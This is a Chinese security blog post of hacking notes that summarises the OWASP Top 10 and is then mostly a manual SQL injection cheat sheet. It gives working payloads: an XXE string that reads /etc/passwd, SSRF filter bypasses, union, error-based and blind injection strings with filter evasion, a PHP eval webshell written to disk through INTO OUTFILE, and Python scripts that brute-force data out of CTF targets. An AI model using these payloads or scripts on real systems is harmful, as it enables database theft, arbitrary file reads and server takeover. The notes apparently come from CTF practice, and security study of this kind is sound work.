安全笔记总结-手注tips-owasptop10
2023-5-13 10:31:48 Author: 星冥安全(查看原文) 阅读量:16 收藏

1.注入

欢迎各位师傅加入星冥安全交流群(qq群):611901335

或者回复加群

sql注入cookie注入os注入:执行任意命令代码注入:执行任意代码LDAP注入

2.失效的身份认证和会话管理

cookie劫持SSO单点登陆,cookie相关信息显示在url中,未经允许即可访问部分或全部用户信息通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者暂时或永久的冒充其他用户的身份。

3.敏感数据泄露

网站源码压缩包/.git/config/.svn/entries/cvs/Root

4.XML外部实体漏洞(xxe)

<?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY xm SYSTEM "file:///etc/passwd"><!ENTITY %ytc SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> %ytc;   ]><root>$xm;</root>

5.无效的访问控制

水平越权垂直越权通过身份验证的用户,可以访问其他用户的相关信息,没有实施恰当的访问权限。攻击者可以利用这个漏洞去查看未授权的功能和数据,eg:访问用户的账户、敏感文件、获取和正常用户相同的权限等.

6.安全配置错误

管理员对服务器配置不当

7.跨站脚本攻击(xss)

反射型:经过服务器存储型:经过服务器dom型:不经过服务器,只由前端js触发

8.不安全的反序列化漏洞

java反序列化

php反序列化

9.使用含有已知漏洞的组件

10.日志与监控不足

11.不安全的对象直接引用

业务逻辑漏洞,越权访问他人账号信息

12.跨站请求伪造(CSRF)

防御:给每一个http请求添加一个不可预测的令牌,令牌要包含在隐藏字段中,通过http发送,不能在url中发送

13.服务器端请求伪造SSRF(curl)

内网探测,结合gopher协议使用反弹shell,利用file协议读取任意文件,利用dict协议查看开放端口

1.http基础认证http://[email protected]2.利用302跳转(xip.io,www.tinyrul.com)  2.1 当我们访问xip.io的子域,比如127.0.0.1.xip.io的时候,实际上会被自动重定向到127.0.0.1  2.2 如果利用上面的方法会被检测127.0.0.1的话,可以利用www.tinyurl.com提供的服务来进行绕过3.加上#或?即可4.更改其他进制的ip5.在线生成短网址                     

14.CORS(跨域资源共享)漏洞

15.mysql数据库结构

select'1',id,password,8e0from{x admin}

sql注入漏洞探测

http://www.skyteat.top/1.php?id=123

http://www.skyteat.top/1.php?id=123-0

http://www.skyteat.top/1.php?id=123-1

http://www.skyteat.top/1.php?id=123%2B1

http://www.skyteat.top/1.php?id='123'%2b''

http://www.skyteat.top/1.php?id='123'-'1'

http://www.skyteat.top/1.php?id='123'%2b'dsds'

sql语法注意点

group_concat(id,(sql))+---------------------------------------------------------------+| group_concat(id,(select database()))                          |+---------------------------------------------------------------+| 1test,2test,3test,4test,5test,6test,8test,9test,10test,11test |+---------------------------------------------------------------+concat(0x7e,(sql))+-------------------------------------------+| concat(0x7e,username,(select database())) |+-------------------------------------------+| ~erttest                                  || ~erttest                                  || ~erttest                                  || ~erttest                                  || ~erttest                                  || ~ytctest                                  || ~erttest                                  || ~erttest                                  || ~erttest                                  || ~erttest                                  |+-------------------------------------------+
concat_ws(0x7e,username,(select database()),id) //第一个参数是后面参数之间的分隔符,显示与concat一样+-------------------------------------------------+| concat_ws(0x7e,username,(select database()),id) |+-------------------------------------------------+| ert~test~2 || ert~test~3 || ert~test~4 || ert~test~1 || ert~test~5 || ytc~test~6 || ert~test~8 || ert~test~9 || ert~test~10 || ert~test~11 |+-------------------------------------------------+这些sql连接符,如果括号里面的sql语句中间有空格的话,必须给sql语句外面加一个括号比如group_concat(id,(select database())) concat(0x7e,(select database())) create table a(cmd text);insert into a() values("<?php @eval($_POST['a']) ?>");insert into a() values("hello"); +-----------------------------+| cmd |+-----------------------------+| <?php @eval($_POST['a']; ?> || hello |+-----------------------------+ select * from a into outfile "G:\\1.php"select 0x3c3f70687020706870696e666f28293b203f3e into outfile "G:\\shell.php"; 0x3c3f70687020706870696e666f28293b203f3e <=> <?php phpinfo(); ?>select load_file("G:\\shell.php"); G:\\shell.php<=>0x473a5c5c7368656c6c2e706870select load_file(0x473a5c5c7368656c6c2e706870);select * from admin where username=0x657274; <=> select * from admin where username="ert";insert into a values("shell.php"); <=> insert into a values(0x7368656c6c2e706870);引号里面的值可以使用16进制编码(除了into outfile后面跟的文件路径)
<?php$id=$_GET['a'];$sql=select * from admin where user='$id';$sql1=select * from admin where user='{$id}';echo $sql;echo $sql1;?a=1213select * from admin where user='1213';select * from admin where user='1213';  //传到数据库中的sql语句没有{}

1.information_schema表

schemata:存储了数据库中所有数据库名  存储字段:schema_nametables:存储了数据库中所有表的名字       存储字段:table_schema,table_namecolumns:存储了数据库中所有列的名字    存储字段:table_schema,table_name,column_name=

2.查询语句

select database():查询当前数据库select schema_name from information_schema.schemata where schema_name=database():查询当前数据库名字select table_name from information_schema.tables where table_schema=database();:查询当前数据库中所有表的名字select column_name from information_schema.columns where table_schema=database() and table_name='admin';:查询当前数据库中admin表中列的名字select id,username,password from admin;:查询admin表中所有列的信息

3.内联注释

/*!11111from*/:数字小于或者等于数据库版本信息才会执行 5.5.53 50553可以执行 可以进行fuzz

4.注释

#-- -:--后面跟空格/**/语句主要用()绕过了空格,用like绕过了=号pass=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

5.手工注入

id=1 and 1=2 union select 1,database(),3--+:查询数据库名字id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+:查询当前数据库中所有表id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='admin'--+:查询当前数据库中admin表中的所有列id=-1 union select 1,group_concat(concat_ws(0x7e,username,password)),3 from admin

6.报错注入  

发现如and/空格/union/select/=//**/等都被过滤了  ^可以代替or(^:异或运算)
爆出数据库名:password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23updatexml(1,concat(0x7e,(select load_file('/flag.txt'))),1)                  select hex(load_file("/tmp/html/.DS_Store"))updatexml(1,concat(0x7e,substr((select load_file('/flag.txt')),1,20)),1) updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#updatexml(1,concat(0x7e,(select database())),1)  //如果select database()外面不加括号,sql语句语法就会不正确爆出表名:password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23#语句主要用()绕过了空格,用like绕过了=号爆出列名:password=aaa'^extractvalue(1,concat(0x7e,(select(grounp_concat(column_name)from(information_schema.columns)where(table_name)like('admin'))))%23爆出密码:password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23        password=aaa'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),20))%23 //爆出从有右边数20个字符

报错注入爆出的位数有限制,解决办法

(1).substr((sql语句),10,20)  :select  substr((sql语句),10,20)  下标从1开始,从第10个字母开始,取20个字母

select 1,2,substr(group_concat(concat_ws(username,passwd)),1,20) from test.admin;select substr((select group_concat(id) from admin),1,20);+---------------------------------------------------+| substr((select group_concat(id) from admin),1,20) |+---------------------------------------------------+| 1,2,3,4,5,6,8,9,10,1                              |+---------------------------------------------------+

(2).reverse((sql语句))  :  select reverse((sql语句)) :倒序输出

select reverse((select group_concat(idfrom admin));select reverse(group_concat(id)) from admin;+-----------------------------------------------+| reverse((select group_concat(id) from admin)) |+-----------------------------------------------+| 21,11,01,9,8,6,5,4,3,2,1                      |+-----------------------------------------------+

(3).regexp ('^f')   :  select * from admin where username regexp ('^e');  匹配username中以字母e开头的

select * from admin where username regexp ('^e');+----+----------+--------+| id | username | passwd |+----+----------+--------+|  2 | ert      | 21     ||  3 | ert      | 21     ||  4 | ert      | 21     ||  1 | ert      | 21     ||  5 | ert      | 21     ||  8 | ert      | 21     ||  9 | ert      | 21     || 10 | ert      | 30     || 11 | ert      | 20     |+----+----------+--------+

在updatexml语句中,updatexml(1,concat(0x7e,()),1) 0x7e后面括号里的sql语句执行select database();select substr();select reverse()等语句时,可以不用加select

updatexml(1,concat(0x7e,(substr((select passwd from admin where id=1),2,5))),1)  updatexml(1,concat(0x7e,(reverse((select passwd from admin where id=1)))),1) updatexml(1,concat(0x7e,(select passwd from admin where passwd regexp '^f')),1)
select(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="admin")),10,20));select substr((sql语句),10,20);正则匹配:select group_concat(passwd) from admin where (passwd)regexp('^r') //匹配以r开头的密码reverse((sql语句)) //sql语句外面必须还要再加一个括号,不然执行不成功test"or(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where((real_flag_1s_here)regexp('^f'))))),1))or"1

7.布尔盲注 if

如果过滤了information_schema数据库,在mysql5.7版本新增加了一个数据库sys该数据库中的许多表都包含有mysql所有数据库对应的表的信息,但是没有对应列的信息 sys.schema_table_statisticssys.x$schema_flattened_keyssys.schema_auto_increment_columnsschema_table_statistics_with_buffer以上表中存储了数据库中所有表的名字,利用该表可以查到所有表名,但是sys数据库中没有存储对应的列名信息的表如果在不知道该表的列名的情况下想要获得该表的数据,需要无列名注入 : 在不知道列名的情况下查该列的内容(但要知道该表列的数目)select `b` from (select 1,2 as b,3 union select * from admin)a limit 1,1;select `b` from (select 1,2 as b,3 union select * from admin) as a limit 1,1;select a.b from (select 1,2 as b,3 union select * from admin) as a limit 1,1;select group_concat(`b`) from (select 1,2 as b,3 union select * from admin)a;111'/**/union/**/select/**/1,(select/**/bbb/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)a/**/limit/**/1,1),3判断列数方法select (select 1,1,1) > (select 'dsd','id','f');返回1select (select 1,1,1) > (select '1','id','f');返回1select (select 1,1,1) > (select 1,'id','f'); 返回1select (select 1,1,1) > (select 2,'id','f');返回0select (select 0,0,0) > (select 1,'id','f');返回0select (select 0,0,0) > (select 0,'id','f');返回0select (select 0,0,0) > (select 'das','id','f');返回0select (select 2,0,0) > (select 2,'id','f');返回0select (select 1000,1000,1000) > (select 1,'id','f');返回1select (select 1,1) > (select 1,'id','f'); 返回Operand should contain 2 column(s)select * from admin where id=2^((select 1,1,1) > (select 2,'id','f')); 返回2^0即就是id=2
爆破列对应内容的脚本import requestsurl='http://fa0e7ec4-6472-4215-8757-65ed17f38cf8.node3.buuoj.cn/'payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'flag=''for j in range(1,50): for i in range(32,128): hexchar=flag+chr(i) py=payload.format(hexchar) datas={'id':py} re=requests.post(url=url,data=datas) if 'Nu1L' in re.text: flag+=chr(i-1) print(flag) break import requestsdef str_hex(s): #十六进制转换 fl ==> 0x666c res = '' for i in s: res += hex(ord(i)).replace('0x','') res = '0x' + res return resurl = "http://aa57764a-4113-4f9b-a23e-909fae3e7751.node3.buuoj.cn/index.php"s = ""for i in range(50): for j in range(33,127): flag = s + chr(j) payload = "1^((1,{0})>(select * from f1ag_1s_h3r3_hhhhh))^1".format(str_hex(flag)) # print(payload) data = { "id" : payload } r = requests.post(url, data=data) if "Nu1L" in r.text: s += chr(j-1) print(s) break
爆出库名:if(ascii(substr(database(),%d,1))>%d,1,0)         0^(ascii(substr(database(),%d,1))>%d)爆出表名:if((ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d),1,0)         0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>0) 爆出列名:0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name="flag")),1,1))>0)        if((ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d),1,0)爆出字段:0^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)         if((ascii(substr((select(flag)from(ctf)),1,1))>0),1,0)

盲注爆破脚本

import requestsurl = "http://8a12a75e-26f1-4a40-ad74-95086cfef9df.node3.buuoj.cn/?stunum="result = ""i = 0while (True):    i = i + 1    head = 32    tail = 127    while (head < tail):        mid = (head + tail) >> 1        # payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)        # payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)        payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i, mid)        r = requests.get(url + payload)        r.encoding = "utf-8"        # print(url+payload)        if "your score is: 100" in r.text:            head = mid + 1        else:            # print(r.text)            tail = mid    last = result    if head != 32:        result += chr(head)    else:        break    print(result)
import requestsurl='http://57e002cb-19bd-4ceb-bc2a-6960ff6347ac.node3.buuoj.cn/index.php'flag=''for i in range(50):    a = 32    b = 128    mid = (a+b)//2    while(a<b):                 #stunum=0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>0)   爆表名                  #stunum=0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flag')),1,1))>0)  爆列名                 payload = url+"?stunum=0^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)"%(i,mid)        re = requests.get(url=payload)        if 'admin' in re.text:            a = mid + 1        else:            b = mid        mid = (a+b)//2    if (mid==32|mid==128):        break    flag +=chr(mid)    print(flag)
select * from admin where id=if(1=1,1,0) id为数字型时,可以直接select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加orandif(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)0^(ascii(substr((select(flag)from(flag)),1,1))>1)0^(length(database())>1)if(length(database())>5,1,0)

利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据

select id,user,pass from admin union select 1,'admin','123456'; 在admin表下面构造了id=1,user='admin',pass='123456'这个新数据执行完语句之后虚拟出的数据就会消失

8.这里我们用到handler这个东西

HANDLEROPEN语句打开一个表,使其可以使用后续HANDLERREAD语句访问,该表对象未被其他会话共享,并且在会话调用HANDLERCLOSE或会话终止之前不会关闭   表:FlagHere1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

9.判断数据库的列数

select * from user where name="$name" limit 0,1;在过滤--+,#的情况下1" order by 3,"1   select * from user where name="1" order by 3,"1" limit 0,1;语句不会报错,会正常执行1" group by 3,"1   select * from user where name="1" group by 3,"1" limit 0,1;语句不会报错,会正常执行如果列数大于小于3,会报错Unknown column '4' in 'order clause'                       Unknown column '4' in 'group statement'order by,与group by后面只能跟数字才能正确判断数据库的列数,如果order by '100',永远不会报错,也就查不出数据库的列数
查询所有数据库用户:select user from mysql.user;                  select distinct user from mysql.user;(去重复)创建用户:create user 'xm'@'localhost' identified by '123456'; 创建只允许在本地登陆的xm用户,密码为123456         create user 'xm'@'%' identified by 'root';           grant all on *.* to 'xm'@'%';

欢迎各位师傅加入星冥安全交流群(qq群):611901335

 点击下方小卡片或扫描下方二维码观看更多技术文章

师傅们点赞、转发、在看就是最大的支持


文章来源: http://mp.weixin.qq.com/s?__biz=MzkxMDMwNDE2OQ==&mid=2247489732&idx=1&sn=78e9185e480002755beb4763d2cf9975&chksm=c12c2e02f65ba71479e8ce42d2880622d7474c369fb88e396782834e7940c9338897221d5fbe#rd
如有侵权请联系:admin#unsafe.sh